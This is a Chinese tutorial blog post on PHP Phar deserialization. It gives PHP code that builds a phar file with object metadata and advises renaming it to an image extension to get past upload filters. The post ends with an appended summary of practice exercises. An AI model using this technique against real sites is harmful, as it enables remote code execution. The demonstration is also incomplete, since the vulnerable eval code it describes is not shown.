php反序列化之Phar反序列化漏洞

之前写的两篇文章都太理想化,真实的代码谁写成$data = unserialize($_POST['a']),直接让你反序列化,在实际的PHP程序中,主要是反序列化链(pop链),如thinkphp、Laravel的反序列化链的漏洞和利用phar://伪协议完成反序列化漏洞。今天就来学习一个phar文件序列化漏洞。

phar

phar是一个合成词,由PHP 和 Archive构成,可以看出它是php归档文件的意思。一个php应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的。于是在PHP5.3之后支持了类似Java的jar包,名为phar。用来将多个PHP文件打包为一个文件。Phar 归档可由 PHP 本身处理,因此不需要使用额外的工具来创建或使用,使用php脚本就能创建或提取它。

三种phar归档文件格式:

tar归档、zip归档、phar归档,前两种执行需要php安装Phar 扩展支持,用的也比较少。phar格式归档文件可以直接执行,它的产生依赖于Phar扩展,由自己编写的php脚本产生。

开启phar

首先需要修改php.ini配置将phar的readonly关闭,默认是不能写phar包的,include是默认开启的。

phar.readonly => On

归档project目录下的所有文件:

下面这个文件与project文件夹同级目录

//产生一个yunke.phar文件
$phar = new Phar('yunke.phar', 0, 'yunke.phar');
// 添加project里面的所有文件到yunke.phar归档文件
$phar->buildFromDirectory(dirname(__FILE__) . '/project');
//设置执行时的入口文件,第一个用于命令行,第二个用于浏览器访问,这里都设置为index.php
$phar->setDefaultStub('index.php', 'index.php');

执行完成后的目录结构:

  • project (文件夹可以有js,css,php,html文件)
  • yunkeBuild.php (产生phar文件源码)
  • yunke.phar(归档后的包)

漏洞成因:

1,phar文件会以序列化的形式存储用户自定义的meta-data;

2,在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作

漏洞演示:

第一步:修改php.ini当中的配置文件

原来:

修改后:取消前面的封号;,把on改成off,这样的话可以在程序中手动开启,如果为on就默认一直开启。

第二步:构建一个恶意的phar文件

php3.php

<?php 
class test{
	public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __halt_compiler(); ?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

把test类中实例化的对象$obj序列化字符串写入meta-data并存入manifest。也就是存入test.phar文件中。

访问上述文件,生成test.phar文件。

v.php

<?php 
class test{
	public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

访问http://127.0.0.1/v.php

分析:file_get_contents()文件包含漏洞使用了phar://伪协议,将meta-data中保存的序列化字符串转化成对象,对象在关闭所有引用之后调用了析构函数__destruct(),eval()执行了变量$name的值,而它的值是phpinfo();

由于一般网站里只允许上传jpg、png等图片文件,所以我们可以在本地生成phar文件,然后重命名成jpg等图片后缀名,然后上传使用伪协议访问。

参考学习大佬文章:

https://mp.weixin.qq.com/s/OS_aX0sMnp0H31DCc-nP0A

 

 

 

 

 

 

 

 

关于PHP反序列化漏洞的习题,可以使用GlobIterator类和ArrayObject类来进行练习。其中,GlobIterator类的题目是被遗忘的反序列化,ArrayObject类的题目是easy_phpPHP反序列化漏洞是一种安全漏洞,其中一个具体的例子是CVE-2016-7124,该漏洞存在于php5<5.6.25和php7<7.0.10的版本中。漏洞的产生原因是由于反序列化时对输入的不当处理所导致的。 了解PHP反序列化漏洞的习题,需要掌握类与对象、反序列化基础知识以及一些与魔术方法相关的内容,如构造和折构方法(__construct()、__destruct())、序列化和反序列化方法(__sleep()、__wakeup())、错误调用魔术方法(__callStatic()、__get()、__set()、__isset()、__unset()、__clone())等。反序列化漏洞的成因较复杂,例如POP链构造、POC链反推法等。 此外,还可以学习字符串逃逸和__wakeup魔术方法绕过漏洞的相关知识。其中,__wakeup魔术方法绕过漏洞的产生原因是__wakeup方法可以在反序列化时被绕过,从而可能导致安全漏洞PHP反序列化漏洞还可以通过引用的利用方法来进行学习。另外,还可以学习SESSION反序列化漏洞phar反序列化漏洞的习题。其中,SESSION反序列化漏洞涉及到不同处理器的不同储存格式,而phar反序列化漏洞需要了解phar的构造和使用条件。 通过这些习题的学习,可以更好地理解PHP反序列化漏洞以及如何进行防范和修复。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [PHP反序列化漏洞(最全面最详细有例题)](https://blog.csdn.net/m0_73728268/article/details/129893800)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值